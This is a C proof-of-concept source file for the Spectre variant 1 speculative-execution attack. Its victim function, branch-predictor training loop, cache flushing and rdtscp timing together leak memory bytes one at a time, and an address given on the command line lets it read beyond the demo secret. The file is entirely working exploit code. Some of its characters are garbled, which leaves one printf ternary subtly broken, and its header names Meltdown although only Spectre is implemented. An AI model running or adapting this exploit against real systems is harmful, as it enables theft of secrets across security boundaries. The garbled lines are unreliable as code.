text: /*
   * =====================================================================================
   *
   *       Filename:  poc.c
   *
   *    Description:  POC Meltdown/Spectre
   *
   *        Version:  0.1
   *        Created:  01/04/2018 18:41:16
   *       Revision:  none
   *       Compiler:  gcc
   *
   *         Author:  Various Source, Dendi Suhubdy (2017), 
   *   Organization:  Suhubdy Technologies LLC
   *
   * =====================================================================================
   */
  
  #include <stdio.h>
  #include <stdlib.h>
  #include <stdint.h>
  
  #ifdef _MSC_VER
  
  #include <intrin.h> /* for rdtscp and clflush */
  #pragma optimize("gt",on)
  #else
  #include <x86intrin.h> /* for rdtscp and clflush */
  #endif
   
  /********************************************************************
  Victim code.
  ********************************************************************/
  unsigned int array1_size = 16;
  uint8_t unused1[64];
  uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
  uint8_t unused2[64];
  uint8_t array2[256 * 512];
   
  char *secret = "The Magic Words are Squeamish Ossifrage.";
   
  uint8_t temp = 0; /* Used so compiler wonat optimize out victim_function() */
   
  void victim_function(size_t x) {
      if (x < array1_size) {
          temp &= array2[array1[x] * 512];
      }
  }
   
   
  /********************************************************************
  Analysis code
  ********************************************************************/
  #define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
   
  /* Report best guess in value[0] and runner-up in value[1] */
  void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
      static int results[256];
      int tries, i, j, k, mix_i, junk = 0;
      size_t training_x, x;
      register uint64_t time1, time2;
      volatile uint8_t *addr;
   
      for (i = 0; i < 256; i++)
          results[i] = 0;
      for (tries = 999; tries > 0; tries--) {
   
          /* Flush array2[256*(0..255)] from cache */
          for (i = 0; i < 256; i++)
              _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
   
          /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
          training_x = tries % array1_size;
          for (j = 29; j >= 0; j--) {
              _mm_clflush(&array1_size);
              for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
   
              /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
              /* Avoid jumps in case those tip off the branch predictor */
              x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
              x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
              x = training_x ^ (x & (malicious_x ^ training_x));
   
              /* Call the victim! */
              victim_function(x);
          }
   
          /* Time reads. Order is lightly mixed up to prevent stride prediction */
          for (i = 0; i < 256; i++) {
              mix_i = ((i * 167) + 13) & 255;
              addr = &array2[mix_i * 512];
              time1 = __rdtscp(&junk); /* READ TIMER */
              junk = *addr; /* MEMORY ACCESS TO TIME */
              time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
              if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
                  results[mix_i]++; /* cache hit - add +1 to score for this value */
          }
   
          /* Locate highest & second-highest results results tallies in j/k */
          j = k = -1;
          for (i = 0; i < 256; i++) {
              if (j < 0 || results[i] >= results[j]) {
                  k = j;
                  j = i;
              } else if (k < 0 || results[i] >= results[k]) {
                  k = i;
              }
          }
          if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
              break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
      }
      results[0] ^= junk; /* use junk so code above wonat get optimized out*/
      value[0] = (uint8_t)j;
      score[0] = results[j];
      value[1] = (uint8_t)k;
      score[1] = results[k];
  }
   
  int main(int argc, const char **argv) {
      size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
      int i, score[2], len=40;
      uint8_t value[2];
   
      for (i = 0; i < sizeof(array2); i++)
          array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
      if (argc == 3) {
          sscanf(argv[1], "%p", (void**)(&malicious_x));
          malicious_x -= (size_t)array1; /* Convert input value into a pointer */
          sscanf(argv[2], "%d", &len);
      }
   
      printf("Reading %d bytes:\n", len);
      while (--len >= 0) {
          printf("Reading at malicious_x = %p... ", (void*)malicious_x);
          readMemoryByte(malicious_x++, value, score);
          printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
          printf("0x%02X=a%ca score=%d ", 
                  value[0], 
                  (value[0] > 31 && value[0] < 127 ? value[0] : "a?a"), 
                  score[0]);
          if (score[1] > 0)
              printf("(second best: 0x%02X score=%d)", value[1], score[1]);
          printf("\n");
      }
      return (0);
  }
  